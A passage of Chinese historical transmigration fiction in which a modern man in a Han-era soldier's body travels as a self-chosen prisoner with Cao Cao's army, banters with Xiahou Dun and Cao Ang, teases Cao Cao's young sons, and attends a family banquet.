即使是习惯了赶路,体力极好的士兵,在连着跨过两个郡国后,也不免有些疲惫。
这时候,舒舒服服躺在槛车上,睡了一路的顾至,仿佛成了待遇最好的那个。
即使没有听到怨声载道,夏侯惇也注意到附近士兵们时不时瞥向槛车的目光。
望着少年那端端正正,躺得分外安详的身影,夏侯惇嘴角刺痛,因为热度而生出的燎泡几乎要蓬勃生长。
原本只有一分假疼的头,现在是真的开始痛了。
他再次驱马靠近曹操。
“孟德,是否再让士兵们歇息片刻?”
曹操环视后方,将所有人的疲态看在眼中:
“那便休息。开灶做饭。”
赶了一路的众人总算有了片刻喘息的时间。
而顾至,也在这时候睡饱了第一个回笼觉。
槛车停在一棵泡桐树旁,顾至睁眼之时,白中带紫的花瓣颤巍巍地落下,从木槛的缝隙中跌入,飘飘荡荡地靠近。
顾至伸手,捞住花瓣,偏头看向一侧。
士兵们正在堆石生火,战马被牵到一旁,啃食嫩草。
骄阳刺目,顾至拿花瓣挡了挡,等眼睛适应了光线,取下花瓣,一双棕黑色的革履出现在视线当中,在槛车旁停下。
顾至最小篇幅地转动视线,看到了来人的模样。
又是那个“夏侯将军”。
夏侯惇垂眸看着他,漆黑的眼睛看不出什么情绪。
“顾什长,这一路睡得可好?”
顾至盯着他,片刻,幽幽一叹:“尚可。”
如果不是一觉醒来,看到的仍是这个人,他可以更“可”。
怎么就不能让他一觉醒来穿回现代去呢。
夏侯惇不知他的想法,见他如此模样,俄然冷笑:
“顾什长当真一点都没有阶下囚的自知?”
顾至宛若一条被风干的死鱼,横在槛车内,声音疲弱无力,丝毫不见曾经悍勇破敌的模样:
“将军……”
夏侯惇说完前一句话,本已经转身,准备离开。
听到后方传来的动静,夏侯惇脚下微顿,决定等他说完。
于是,他等来了让他终生难忘的一句询问。
“将军,何时开饭?”
夏侯惇脚下足足停顿了五息。
最终,他一言不发地离开,脚下快了三分。
顾至望着夏侯惇几乎能踩出风火轮的脚步,缓缓收回目光。
行军半途,餐食简陋,干硬的面饼放入煮沸的汤中,许久才被煮散。
属于谷类面食的香气徐徐缭绕,掩盖了一张张疲惫的面庞。
面饼煮熟,曹操记得先前的承诺,让人给顾至盛了一笥。
新招来的士兵不是多事的性子,但在给顾至送饭食的时候,还是忍不住心中的稀奇,多看了他几眼。
顾至道了声谢,神色如常地接过面汤。
士兵听到他的致谢,神色变得愈加古怪,匆忙地摆手,回到所在的伍队,与同伴喁喁私语。
对于士兵的奇怪反应,顾至视若未见,像是发呆地捧着笥,对着里面的面汤机械性地吹了几口。
等到面汤纳凉,他抬手浅尝。
果然难喝。
不出所料地放下盛汤的容器,顾至的面上毫不遮掩地现出少许失望。
曹操与夏侯惇站在遥远的另一头,看似专心用食,实则留了几分心神在顾至这边。
两人都瞧见顾至的反应,本就吃得不香的烂面饼,嚼得更加索然无味。
“看他这副模样,全然不似阶下囚,倒像是落难的王侯。”
夏侯惇将多余的硬面饼掰开,蘸了点汤糊,随手丢入口中,
“莫非,我们真的要一路这么‘
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供’着他不成?”
听出话语中的三分揶揄,曹操为他再递了一块面饼:
“若真能‘供’入帐下,倒也未尝不可。”
夏侯惇敛了面上的笑意,没有伸手:“此人身上有太多的殊异之处,且动机不明,不宜草率接纳。”
类似的话,夏侯惇在上路之前就已委婉提过。若不是新招的士兵心思浮动,他未必会如此直白地坦露。
在他看来,曹操是个有远志与思虑的人,本不需要他如此提醒。
可自从反董盟军畏葸不前,曹操势单力孤地出兵,一路西进征讨董卓,却在汴水惨败,几近丧命后,夏侯惇便有些看不懂曹操。
像是犷悍的玄豹突然开始蛰伏,明面上仍是他熟知的那人,暗中却逐渐变成了陌生的模样。
这个变化细微而缓慢,夏侯惇不知道这究竟算好事,还是坏事。
“元让的担忧,我心中有数。只是现下不必想得这般遥远,我们如今漂泊无定,将来的着落还不知会在何处,总归是走一步,看一步。”
这句话唤醒了夏侯惇内心深处的另一层烦忧。
眼下大汉倾颓,董卓废立天子,烧毁京畿雒阳,挟持文武百官与庶民,占据长安之地。
世家外官各怀异心,各地农人起义,匪盗猖獗,生灵涂炭。
他们二人既无驻地,又无兵马,不过徒劳地挂着一个杂号将军的名头,带着新招的孱弱士兵,辗转于两地之间。
这种时候,即使被关押在槛车中的少年人确实“别有居心”,对他们而言,也不过是本就破烂稀碎的屋顶变得再朽败一些,淋到头上的瓢泼大雨从四瓢变成了五瓢。
这是个残酷的认知,缓解夏侯惇焦虑的方式也相当残酷。
未来的渺茫与无望齐涌而上,本就形同嚼蜡的面饼,此刻一如枯草。
嚼着“草”的夏侯惇心烦意乱地抬眸,恰好看见那个叫顾至的少年懒懒散散地坐在槛车中,口中说着难吃,却是将所有面饼吃得干干净净,丝毫没有浪费。
而后,顾至悠悠地打了个哈欠,似是察觉到他的注视,敏锐的视线一转,正巧对上他的目光。
“夏侯将军。”
顾至整理衣襟,对他展开一个真诚而友好的笑。
夏侯惇绷着脸,正猜测这人是否按捺不住,决定说出自愿被囚的真正目的。
却见下一刻,少年淡薄发白的唇瓣一张一合,说出了让他终生难忘的第二句话。
“——什么时候吃下一顿?”
……
夏侯惇面无表情地转头,转向曹操:“周昕到底饿了他几顿?”
曹操似乎被面饼哽了一下,连忙就着革囊饮了一口溪水。
“此人骁悍,兴许只是饭量大。”
曹操言不由衷地救场,吩咐士兵,
“再送两个面饼过去。”
没过多久,准备饭后消食的顾至手上就多了两个干硬的面饼。
顾至略有些意外地扬眉,毫无内心负担地收入食囊。
虽然硬了点,难吃了点,硌嗓子了点。
但是有免费下午茶,还要什么自行车。
于是,当众人重新开始赶路,走到日暮西斜,疲乏难耐的时候。
在他们中央,有个一路坐车的随行人员,在一边看风景,一边咔咔咔地啃大饼。
这一次,即使不回头,夏侯惇也能感应到无数道异样的目光。
当行军抵达河内郡的温县,曹操的长子曹昂带领一众部曲在城外相迎,一扬头,就察觉到当中的古怪气息。
曹昂只以为这些新招募的士兵是因为背井离乡,或因为前途渺茫而心绪不定,并未多想。
直到他策马上前,一眼看到队伍中那辆格格不入的槛车,与那个格格不入,正啃着大饼的身影。
曹昂:……?
在与夏侯惇打过招呼后,曹昂驭马来到曹操身侧。
“阿父,这是?”
5. 提醒
知子莫若父,曹操自然知道曹昂问的是什么。
众目睽睽之下,他没有开口解释,只是抬起手,轻轻拍了拍曹昂的肩。
曹昂会意,当即略过这个话题,转而说起了别的要事。
“东郡陈公台来访,正在家中等候。”
公台是汉末知名谋士陈宫的表字,曹昂口中的陈公台,指的正是陈宫。
顾至从面饼屑中抬眼,意兴寥寥地瞥了曹昂一眼。
曹昂虽然在与曹操说话,视线却正好朝着槛车的方向。这不经意的一眼,正巧落在曹昂眼中。
曹昂微微一怔。
即便不认识槛车中的少年,而对方又被关押运送,疑似戴罪之身,曹昂却仍旧下意识地朝他笑了笑。
这个笑并非客套性的礼节,也并非虚假的示好,诚挚而真实。
顾至移开视线,指腹拈去唇边的碎屑,抚平衣上的褶皱。
夏侯惇示意裨将先将新招的士兵带去安置,转身对着曹操:“这陈公台是何许人?”
曹操道:“他与我有几面之缘。听闻陈公台足智多谋,广交海内名士,若能将他纳入帐中……”
话赶话地说到这,曹操说不下去了。
原因无他,只因他的帐中实在缺人。
不仅缺兵少马,连个执墨的文官都见不着。
除去跟在身边的亲朋好友,就只剩下部曲三两只,以及他刚招的一千个士兵。
若非实在捉襟见肘,他也不会在明知顾至可疑的情况下,只因为顾至不俗的武力值,就毫无避忌地将人留下。
听见陈宫来访,曹操起先心头一喜,可当他说出“若能将他纳入帐中”这几个字的时候,曹操总觉得心中古怪,颇有些不是滋味。
仔细一想,在顾至计破贼军的时候,他好似也说过类似的话。
想到顾至这一路的表现,曹操顿时失去了欣喜感慨的心情。
他咽下后半句的求才之语,若无其事地将这个话题跳过:“阿猊、须儿和硕儿可有顽皮,一直闹着你?”
先前还在谈论陈宫,冷不丁地换到家人,曹昂话锋一顿,观察曹操的神色。
“阿父此番远行,三位弟弟一直念叨着,盼着阿父早日归来。”
没有说什么听话不听话,顽皮不顽皮,但曹操听出了言外之意。
不直接回答,那就是有。
想到那三个“混世魔王”,曹操额头一痛,都不觉得顾至棘手了。
“我先去见一见陈公台。子脩,这儿便交给你了。”
离开前,曹操往槛车的方向扫了一眼。
这一眼,让曹昂对顾至又多了几分关注。
他还未来得及询问曹操对顾至的处置,心中略有些摸不准。
夏侯惇策马路过,拍了拍曹昂的肩。
“按时给饭就行,他现在就这一个诉求。”
按时给饭?诉求?
单凭“诉求”这两个字,曹昂就意识到槛车中的这个少年绝非普通的囚徒,不可等闲处理。
只是……按时给饭又是什么意思?
曹昂还想再问,夏侯惇已经带着部曲离开,留下一众新兵与最中央的那辆槛车。
想了想,曹昂让部将去新兵那清点人数,自己下了马,迈步来到槛车前方。
“这位义士……”
顾至闻声抬头,与曹昂正面相对。曹昂面上带着一丝歉然,像是在对他说“招待不周”,
“可是要立即用饭?”
“?”
顾至不知道夏侯惇临走前与曹昂说了什么,但听着这没头没脑的询问,大概并不是什么好话。
他没有将这件事放在心上,对着曹昂展现出了必要的社交礼貌:
“方才垫了两个饼,倒是不饿,敢问这位……”
话语微顿,曹昂当即接口:“在下姓曹,字子脩。”
“曹将军,”顾至从善如流地唤道,“可有沐浴更衣之处?”
即使宽宏如曹昂,此刻亦不免露出“是不是我听错了什么”的神情,更不必说周围的士兵。
在各异的目光,与死一般的寂静中,顾至泰然自若,甚至极为礼貌地重复了一次:
“曹将军,可有沐浴更衣之处?我想沐浴。”
舟车劳顿,一路风尘仆仆,沾了污垢,确实需要沐浴……
只是,坐在槛车上,疑似戴罪之身,刚见面就提出这个要求……是否太不见外了一些?
士兵们的注视若隐若现。
顾至无视了那些或嘲弄,或钦佩的目光,只看着曹昂:
“莫非是不方便?那便罢了。”
他并未有任何的遗憾或者失望之色,仿佛只是随口一提。
“不……”曹昂回过神,想起曹操临走前的那一眼,看向顾至的目光多了一分探究,“可以沐浴,还请义士稍等。”
曹昂找来裨将,用最简短的语句做好安排,带着曹家旧部与槛车入城。
在离开的前一刻,曹昂回头,望着阡陌旁的新兵。
表面上,他仍有着远超于同龄人的从容与镇定,可那双倒映着碧水蓝天的眼中,好似承载着某种忧虑。
顾至忽然开口:“将军无需担忧,现下这番局面,或许正是曹将军希望看到的。”
前一个“将军”是对曹昂的尊称,后一个“曹将军”则代指曹操。
这冷不丁的言语,仿佛冬日里滴入后颈的雨水,使曹昂猛然一激。
他的神情介于惊讶与迷蒙之间,舌尖几度绕过言语,又被他斟酌地吞下。
“义士何出此言?”
——你莫非知道我在想什么?如何得知?阿父他想看到哪种局面?
诸多疑问一涌而上,最终只化为简单的六字。
顾至没有继续打哑谜。他对这类天性温良,对万事万物都抱有善意的人并无恶感,亦没有吊胃口的心思。
“将军敏锐多思,定能察觉到众多新兵的浮躁。将军对这些新兵毫无了解,又不知其中的缘由,便不由自主地怀疑——是不是自己之前的行为不妥,动摇了军心。”
曹昂早已练就了藏匿情绪的本事,可面对顾至精准的推断,对着那仿若读心一般的断言,他还是稍稍抬眼,一错不错地紧盯着对方。
顾至随意说了行旅路上发生的事,好似说的不是自己,而是不相干的旁人:
“曹将军棒打权贵,治下有方,并非昏愦眼拙之人。小将军一个照面,就看出了新兵们的浮躁,行了一路的曹将军自然也不会粘着眼,视而不见。”
他缓缓道。
“一则,这些新兵并非行伍出身,大多都是瘦弱不堪,稍有几分力的贫农。他们为天灾与兵祸所迫,不得不背井离乡,为了一口吃食奔波挣命,对军纪与世情缺乏了解。即使没有这件事,也有旁的事让他们浮躁难安,这本就是不可避免的。”
曹昂听得极为认真,不管是表面,还是深里,都没有任何质疑的意味。
顾至看得心奇,原本的随口一提,变成了随口两提。
“二则……”
他话锋一转,语气也随之变得郑重,
“若小将军是主帅——新招募了一大班人马,数以千计,且你对这一千人都十分陌生。那么,作为主帅,小将军要通过什么方式,从中选出‘得用之人’?”
一千个新兵,说多不多,说少也绝对不少。
考核一个人的品行能力尚且需要许久,更遑论这一千个人?
他们本就缺乏人手,派亲信去考察也不现实……
曹昂心中一动。
什么样的事,能快速地对士兵进行筛选?
曹昂想通了前因,一直隐隐纠缠的眉,终于在此刻展开。
不需要多么严格的
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考验内容,只需观察士兵对“异常之人”的反应,就能对新兵们的心性探知一二。
曹昂认定这是曹操特意布下的一个局,再看顾至这位“里应外合”的囚徒,心中豁然开朗。
“为了这一场‘考验’,倒是委屈了先生。”
在曹昂看来,顾至为了配合曹操考验新兵,一路坐囚车而来,付出甚多。
他停下车队,下马来到槛车前,准备亲自打开车门,将顾至请出来。
在曹昂下车时,顾至尚且不知道他想做什么。可当曹昂说出“委屈”二字,行了一个珍重的士礼,顾至立即看明白了。
知道曹昂误会了什么,猜出他心中的所想。
槛车还未被打开,曹昂的手刚搭上槛车门锁,就听到了一声轻笑。
“将军想岔了,我可谈不上什么委屈。”
曹昂利落地开了锁,正要拉开槛门,却被另一只苍白瘦削的手按住木栅,制止了。
错愕地抬首,撞进一双滚了琥珀蜜色的眼眸。
那双眼中带着浅薄的笑意,宛如冬季湖面上的树影,虚缈迢遥。
“这门还是别开的好。迟早要再进的,何必折腾?”
曹昂缓缓松开了手,犹疑不定:
“你……”
“这可不是我与曹将军的共识。”
顾至亦松开了槛栏,倚着后方的木栅,
“曹将军不过顺势而为,可不是事先商量好的。”
换句话说,他是真的囚徒,没有任何隐情。
曹昂听懂了言下之意,内心却是愈发糊涂。
假设这人说的都是真话。
离开槛车,舒坦一些不好吗?
怎么……对这槛车无比满意,恋恋不舍似的?
更让他想不通的是——
“先生为何要告诉我这些?”
他终究没有将称谓换回来。
尽管顾至与他年岁相仿,他已无法将对方视作寻常的同龄人。
“投桃报石罢了。”
不是投桃报李,而是投桃报石——投之以桃,报之以石。
在这位奇异之士看来,他的提醒只是一颗微不足道的石子,不值一哂。
曹昂没有再开口。既然顾至不打算离开槛车,他自然也没有强压着请人离开的道理。
这支车队入了城,停在一处还算宽阔的旧宅前。
这并非曹操父子原来的家,是雒阳焚毁后,被富户所弃,荒废在此的一间旧宅。
河内郡与雒阳所在的河南尹毗邻,董卓在旧都雒阳所放的大火虽然没有烧到这,却也吓走了河内郡的住民。
再加上董卓在雒阳的那段时日,曾猖狂地带着士兵劫掠京畿附近,河内郡的富户鲜少逃过他的毒手,几番叠加之下,如今的河内郡,竟与雒阳一样萧条,渺无人烟,连郡守、郡府的官员都逃了个干净。
也因为如此,这块“无主之地”成了曹操临时的驻地。
曹昂望着比塞外草原还荒凉的内城,莫名觉得压抑。
他知道父亲的打算,若能找到一处真正的驻地,管辖一众……
心绪翻涌间,众人已踏入庭院。
这座宅子从外面看尚算宽敞,但因为人多,里面加盖了几间房屋的缘故,一进入庭院内,就已挨近堂屋。
在极差的隔音条件下,即使堂屋的门关着,也免不了泄露一两句声响。
正望着前方出神的顾至,依稀听到了里头的议论。
“荀氏已离开故土……荀文若……”
曹昂认出这是陈宫的声音,抬袖掩口,咳嗽了两声。
谈话声顿止。
片刻,堂屋的大门打开,陈宫出现在门口。
“大公子。”
“先生。”
两相寒暄,客套了几句后,陈宫将视线转到那硕大的槛车上,当即眉头一皱。
6. 曹家
曹昂敏锐地注意到这一点,正欲开口解释,却见陈宫已然收回目光,若无其事地与曹操道别。
不久前的异样短暂得好似错觉。可就在陈宫出门前的那一刻,他又短暂地往槛车的方向瞥了一眼。
两次审视,对顾至而言都像是踩在脚下的砾石,想忽略都难。
他暂且无法辨析陈宫那道目光的含义,也不想深究。
相比之下,庭院中另外两人的思绪要复杂许多。
与疑惑不解,却选择隐而不发的曹昂不同,曹操上前一步,解开槛车上的锁链,半开玩笑地试探:
“什长认识公台?”
“不识。”
尽管无法辨析陈宫那两眼的含义,但顾至能够肯定,陈宫那绝不是看到熟人的目光。
在原主留下的零碎记忆中,也没有东郡人陈宫的影子。
对于顾至的回复,曹操不知信了几分,面上带着捉摸不透的笑意。
“听闻什长要沐浴,操已叫人备好热水。”曹操道,“只是寒舍简陋,耳房逼仄,倒是要委屈什长了。”
倒是有趣。
顾至心道。
这父子两个,都喜欢把“委屈”挂在嘴上。
与曹昂的谦冲与诚恳不同,曹操口中的“委屈”,全然只是客套的成分。
顾至道:“将军客气,我本阶下囚徒,何谈委屈。”
口中说着客气,却是没有制止曹操亲自为他打开槛车的行为。
与曹操的表面客套,堪称魔法对轰。
曹操心中有数,倒是没有生气。
他前一刻还在与陈宫对谈,后一刻却是“知道”了顾至在半路上对提出曹昂的要求。要是换作别人,怎么也得惊疑一番,对他的掌控力感到惊讶与慎重。
顾至却像是完全没接收到他话语中的要点,又或者……他对此毫不在意?
曹操愈发觉得此人难懂,恐怕非常人能够驾驭。
在蔓生的多疑与防备中,想要伏虎的野望也步步滋长,随之升腾。
将所有念头压下,曹操笑着让到一旁。
“请。”
用来沐浴的耳房是新建的“违章建筑”,就在前院的西侧,紧贴着堂屋。
在狭窄拥挤的空间中,离槛车也不过十余步。
曹昂接收到父亲的目光,同样让到一旁,做了个“请”的动作。
顾至就像是包了民宿的客人,收放自如地下车,带着浑身的黏腻走向那间耳房。
在距离耳房还有五六步的时候,他突然停住了脚步。
曹操父子投以注视,还未来得及说什么,灰墙的后方突然跳出三只猴子。
曹昂霍然一惊,疾步上前。
再一看,跳出来的哪里是什么猴子,而是三个浑身泥浆的小孩。
“你是什么人?”
身量最高,约莫五、六岁的孩童手里握着一根枯萎的秫秸秆,像是挥舞着一条马鞭,雄赳赳气昂昂地看着顾至,
“到了我家,可有先拜过山头?”
听到“拜山头”三个字,曹昂的脚步蓦然停下。
他艰难地捂了捂眼,借着余光看向身侧的曹操。
在看到老父亲脸上皮笑肉不笑的表情时,曹昂心中便已明白,阿猊他们完了。
阿猊是曹昂的弟弟——应该说,面前这三个皮猴似的孩子,全都是他的幼弟。
老父亲离家前,三小孩装出一副格外乖巧的模样;老父亲不在的第一天,三小孩就原形毕露,开始上房揭瓦。
现在,他们因为一早就出去皮闹,不知道老父已经回家。在这种情况下,几个弟弟不仅全身污糟,还当着老父亲的面说出“拜山头”这样的话……今晚怎么也少不了一顿“竹笋炒肉”。
曹昂在记忆里搜罗,寻找打起来最不痛的笤帚,未果,前方挡着三小孩视线的顾至已然开口。
“你们有三个人,我要拜哪个‘山头’?”
最高的小孩昂着头,用秫秸秆的尾部指向自己。
“我是这座山的寨主,自然是拜我。”
后面两个三岁的小孩咬着手指助威:“对,拜阿猊/蝈蝈。”
口齿不清的嘟囔,伴着指尖流下的涎水。
领头叫阿猊的小孩眼也不眨地从怀里掏出一块细麻布,精准地擦去两个弟弟欲落未落的口水,持续维持着昂头的姿势,瞪着顾至:
“……你太高了,能不能蹲下来一点?”
顾至从善如流地应了。
他曲起右膝,刚蹲下一些,一只属于小孩的脚就飞快地踹向他的膝盖窝。
似乎是想在他稳定身形之前,让他站立不稳,受力跌倒。
膝盖后方莫名挨了一脚,顾至却蹲得极稳,纹丝不动。
反而是这个叫阿猊的小孩面色一变,绷着脸,将抽搐的脚板缓缓收回。
怎么会有人的腘窝硬得和铁板一样?
顾至仿佛完全没发现刚才的那一蹬,耐心询问:“这样可以吗?”
阿猊嘴角抽了抽,道:“可以。”
两个啃着手的小孩默默后退半步。
阿猊没有发现两个弟弟的动作。因为视线被顾至颀长的身影遮挡,他也没发现不远处站着的长兄和老父。
短暂沉默之后,阿猊悄悄将抽搐的那只脚移到另一只脚的后方。
“你……姓甚名谁,从何而来?”
顾至装作没有看见对方的小动作,实诚地回答:
“在下姓顾,单名至,尚未起表字。”
等脚板的疼痛减弱,阿猊目光一转,将手中的枯秸秆往顾至面前一递:
“你既然诚心拜了山头,那就是我们山寨的一员了。这是兵符,你且收下。”
枯萎破败的秸秆挺着脑袋,随着晃荡,悠悠地掉下两片碎屑。
顾至没有质疑,伸手去接。
就在这时,又一只脚飞快地踹来,踢在他的膝盖外侧。
顾至仍然纹丝不动。那只脚的主人似乎不信邪,又施了两回力。
“寨主这是在做什么?”顾至终于询问。
阿猊“啧”了一声,不甘地将麻木的脚板收回。
“无他,不过是在探测你的实力罢了。虽然你反应迟钝了点,但身子骨挺结实,可以加入我们寨……”
话未说完,眼前的顾至忽然悠悠一晃,缓缓地倒向一侧。
阿猊:???
顾至“孱弱”地倒在一旁,原地表演了一场碰瓷。
“曹将军,贵公子将我踢成了内伤。”
听到曹将军三个字,阿猊眼中的问号顿时化作三个血红色的感叹号。
他往边上走了两步,一抬头,就看见曹操站在屋檐下,面如锅底。
一旁,长兄曹昂转过视线,对他求助的目光视而未见。
阿猊顿时蔫了,干巴巴地叫了一声阿父。
身后两个弟弟立刻抽出手,挺直了身板。
刚刚目睹了孩子乱七八糟,不知从哪学来的劣行,曹操既有几分生气,又存了几分看戏的心思。
可顾至明晃晃地点了他的名,曹操不好再作壁上观。
至于那句“被踢成内伤”的无赖之语,曹操只当自己没听到。
“顾什长,今日是我教子不严,多有冒犯。热水快凉了,什长且去洗
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沐,待我训完幼子,再来赔罪。”
意思是,你快点走开,别再逗小孩了,放着让我教训。
顾至对这番话做了完美的阅读理解,嗖的一下起身,顿时腰也不酸了,腿也不疼了。
被顾至的演技骗过,以为他真的被踹伤的阿猊蓦地睁大眼。
碍于老父的威压,他没有开口,只瞪着顾至信步踏入耳房的背影。
顾至没有再管院内的鸡飞狗跳。
他褪去脏污的衣袍,跨入逼仄的浴桶,蹲着身,让温热的水没过胸膛。
混着尘土的污垢被热水搅散,黏腻感减轻了大半。
隔着氤氲的水雾,顾至随意环视,没有看到皂荚之类的物什,只在角落倒扣的木桶上看到一叠黑灰色的碎屑。
取了一些,用手细捻,略微一嗅。
草木灰。
顾至叹了口气。
他取了少许草木灰,混入水中。
清洗的水声单调而枯燥。
沾着水珠的指尖触及脖颈,略作停顿。
顾至皱眉,垂眸看向水中倒影。
在靠近衣领的颈侧,吊着天禄玉坠的黄色丝绦之下,有一处刀伤。
那道刀伤很长,几乎横亘着大半个右颈。创口处已经结了痂,却因为恢复得不佳,还在隐隐渗着血丝。
是什么时候伤到的?
顾至缓缓放下手。
原主的记忆过于稀少,且琐碎凌乱,对于这道伤,竟完全没有印象。
但依照伤口的新旧程度,它的来源……约莫就在他刚穿来的时候。
沉思的眸光渐趋幽邃。
或者说,原主就是因为这个伤口而丧命,这才导致了他的穿越。
只是因为他对痛感并不敏锐,直到这时才发觉伤口的存在。
顾至没了洗漱的兴致,起身离开浴桶。
拇指大的玉坠在半空中摇晃,片刻,被掩在里衣之下。
勉强洗了个舒适的热水澡,顾至换上曹家备好的衣袍。
衣袍料子谈不上多好,但与曹家其他人所穿相差无几,由细麻织成,俭朴而舒适。
顾至走出耳房,院中的人已散了大半。
两个护卫守着正门,曹昂站在堂屋的屋檐下,见到顾至,快步上前。
“已为先生安排了住所。”
曹昂将顾至引到前院东侧的一间正屋。
屋子不大,里面的家具一应俱全,显然是早先改造庭院时留下的一间客舍。
“先生瞧瞧,可还有缺少的物件?”
屋内除了床榻与屏风,甚至连笔墨都备上了。墙角放着衣箧与盥洗用品,几、案各置一处,可见曹家准备得充足。
按照常理,曹昂这话乃是客套之语,顾至本不该再有要求。
可顾至偏偏提了。
“一切皆好,只是……”
顾至走到窗边,用木棍抬起支摘窗。
他示意曹昂来看空荡荡的窗口。
“小将军,这里少了东西。”
曹昂神色一凛,走到窗边。
他里里外外,仔细看了一圈。
神色逐渐从凝肃,变为疑惑。
“少了何物?”
“少了槛栏。”顾至一板正经地道,
“身为囚徒,应当住在牢房内。即便是豪华牢房,也应当有槛栏。”
曹昂:……
他在一片混乱的脑中找回了自己声音,恍惚地反问:
“……槛栏?”
他觉得是自己听错了。
“对,槛栏。”顾至平静地重复,
“少了槛栏。”
7. 肉羹
听闻顾至的“需求”,曹操并未流露出多少惊讶之意。
同行半个多月,他已习惯了对方不时提出的“合理”要求。
“他想要槛栏,那便随他。”
只是卸下窗户,安装几条木槛,远远谈不上麻烦。
曹操接受得无比平静,却是难倒了曹昂。
短短半个时辰,曹昂就憋了一肚子的话。见曹操如此镇定,他终于按捺不住,开口询问。
“父亲对这位顾什长……究竟存了怎样的心思?”
若要重用,怎会把人关到槛车里,像囚犯一样关着?
若将他视作囚犯,又为何将他“请”入府中?直接送去庄园的私狱,由部曲看押,岂不更加省事?
曹操不答反问:“你今日与顾至一路,可有看出什么名堂?”
曹昂将这句询问理解成“你怎么看待顾至”,沉思片刻后,他斟酌用词:
“似有几分通透,行事放达……甚至有几分奇异。”
他说得极其委婉。
所谓的“有几分奇异”,约等于“这是个怪人”。
曹昂将顾至那番“如何选出‘得用之人’”的言论,一字不漏地复述了一遍。
曹操耐心地听完,掩去目中的暗芒:“他这么说,倒也没错。”
“莫非阿父,当真存了试探之心?”
“趁势而为罢了。”曹操没有在这个问题上多谈,缓缓道出顾至的来历、本事,以及沿路的所作所为。
说完这些,对着错愕不已的曹昂,他的言语多了几分意味深长。
“此人前后不一,藏着秘密,言行又让人捉摸不透……”
这样的人,原本是他最不愿意任用的。
“奈何,他武艺超群,又兼具急智……”
总之,一句话:条件简陋,他没得选。
他刚踏上“创业”的道路,没钱没人没地盘,除了部曲与家人,就只剩下刚招来的一千个新兵蛋子,还不知道下个月会不会崩盘“破产”。
顾至虽然问题重重,却是目前仅有的,能试着让他争取一下的“高端人才”。
“他自愿为囚,必有所图。”曹操道,“既有所图,不管他如何行事,总有透底的一天。”
有所图谋,未必就是一件坏事。
比起无欲无求,他更喜欢前者。
“昔日,太公以直钩垂钓。我若久久找不到合适的饵,那便效仿太公,让顾至自愿咬上直钩。”
他如今一无所有,耐心倒是多得很。
“找个木匠,改制窗棂,再设一席家宴,请顾至来喝几杯。”
“是。”
曹昂应下。
依照曹昂的想法,顾至必定会拒绝邀请。
顾至不让他开槛车的那段记忆太深,加上“把客房改造成牢房”的举措,曹昂深切地怀疑——顾至对“扮演囚犯”这件事情有独钟。赴宴这种事,显然不符合囚犯的逻辑,他不会答应。
可让曹昂没想到的是,顾至竟然答应了。
不仅答应了,还答应得轻快。
仿佛正中下怀。
不知怎的,曹昂忽然想起夏侯惇临走前的那一句话。
——“按时给饭就行。”
顿时,曹昂的面色染上了几分古怪。
……不能够吧?
不管顾至答应赴宴是为了什么,曹昂都只能收起纷乱的猜测,将顾至请到正堂。
曹操让人准备的是一场私宴,除了曹操本人与顾至,入席的就只有夏侯惇与曹昂。
倒是曹操那位叫阿猊的儿子,独自一人站在堂屋的角落,手指绞着,眉宇挣扎。
曹操仿佛没有看见阿猊,示意顾至入座。
扫了眼曹操为他准备的位置,顾至颇感意外。
汉时宴客,主人坐上首,面东设席,则左手边为尊位。
而曹操……竟将他和夏侯惇一同安排在了左手边。
再看茵席,面南的方位只铺了一层长席,也就是说,他得和夏侯惇坐在同一条茵席上。
同席者,要么地位相当,要么亲密友好。
顾至在心中拄了拄下巴。
更重要的是——在汉朝,觉得对方不配与自己同坐而割席的现象屡屡发生。
以夏侯惇对他的态度。
等会儿该不会突然暴起,当场和他表演一个“割席而坐”吧?
顾至等着夏侯惇被管宁附体,将视线落在已经入座的夏侯惇身上。
等了好一会儿,都没见夏侯惇抽出短刀。
反倒是因为他的驻足,让夏侯惇转来目光。
夏侯惇扬起眉峰,略带几分寻衅地道:
“怎么,顾什长不敢与我同坐?”
“自是不敢。”顾至极其顺口地接下夏侯惇的话,
“我怕夏侯将军盛情难却,非要把自己的那一桌席让给我吃。”
“……”这小子还真是记仇。夏侯惇暗道,还想说些什么,顾至已利索地入座。
仿佛刚才只是随口一提。
如此一来,夏侯惇倒是不好再揪着这个话题不放。
他略有几分憋闷,又想起在城外时,自己与曹昂的戏言,理屈之下,到底没再对顾至出言相刺。
最后进门的曹昂在对面的三等席位坐下,面上没有任何不忿、郁结的神色。
他注意到一道强烈的目光,循着视线望去,在墙角看到仿佛眼睛抽筋的弟弟。
曹家阿猊正对他挤眉弄眼,隐隐有些焦躁。
看出弟弟想要当场逃离的心,曹昂收回目光,不着踪迹地往上首的方向望了一眼。
曹操像是什么都没看到,让仆从端来饭菜,分别放在四张漆案上。
顾至略微安心。
还好。
曹操只是让他坐在下首尊位,并没有玩《曲礼》里奉席的那套。
脑补了曹操双手捧席,亲自为他摆正席位的场景,顾至撇了撇唇,将这怪异的画面从脑中赶了出去。
位于现实的曹操虽然没有向他奉席,但朝他举起了酒杯。
依照礼节,主人敬酒后,客人应当立即回敬。
顾至却并不想喝。
“将军见谅,顾某不会饮酒。”
旁边传来一声意味不明的嗤笑,即使不转头,也能猜到夏侯惇此时的神情。
顾至没有管他,只看着曹操:“……要不我坐小孩那一桌?”
曹操没听懂顾至的梗,举杯的手在半空略停了停:“什长随意,把这当作自己家便是。”
说完,独自饮了杯中的酒水,让仆从单独准备一碗羹汤。
酒过三巡,羹汤也被端来。
直到这时,曹操才看了眼在墙角自闭的曹阿猊,召他上前。
阿猊趋步来到曹操的案前,低头盯着长席边角的纹饰,看起来老实极了。
他面朝着夏侯惇与顾至的席位,没看任何一个人,小声而快速地开口:
“今日,阿猊无状,冒犯了什长,心下有愧,欲以水代酒,敬什长一杯。”
说完,他在空卮中倒了些清水,双手端着,趋步跑到顾至的案前,仰头,一饮而尽。
敬完“酒”,阿猊仍维持着双手举卮的姿势,借势并袖,深深一揖。
原以为曹操所说的“赔罪”只是客套话,没想到他真的压着自己不足七岁的儿子上前赔礼。
还是在年幼的儿子没讨到任何好处的情况下。
顾至忽然觉得乏味至极。
他没有多言,回敬了一杯清水,算是揭过此事。
曹操不知顾至的想法,在双方“和解”后,便要阿猊离开堂屋。
阿猊低声应是,蔫头蔫脑地转身。
坐在另一头,将一切看在眼里,却一直没有出声的曹昂叹了口气。
他隐蔽地朝阿猊招手,在阿猊经过他身边时,将藏在袖中的木制短刀递到他的手中。
像是枯萎小草的阿猊如获甘霖,当即精神了许多,迈着轻快的脚步离开。
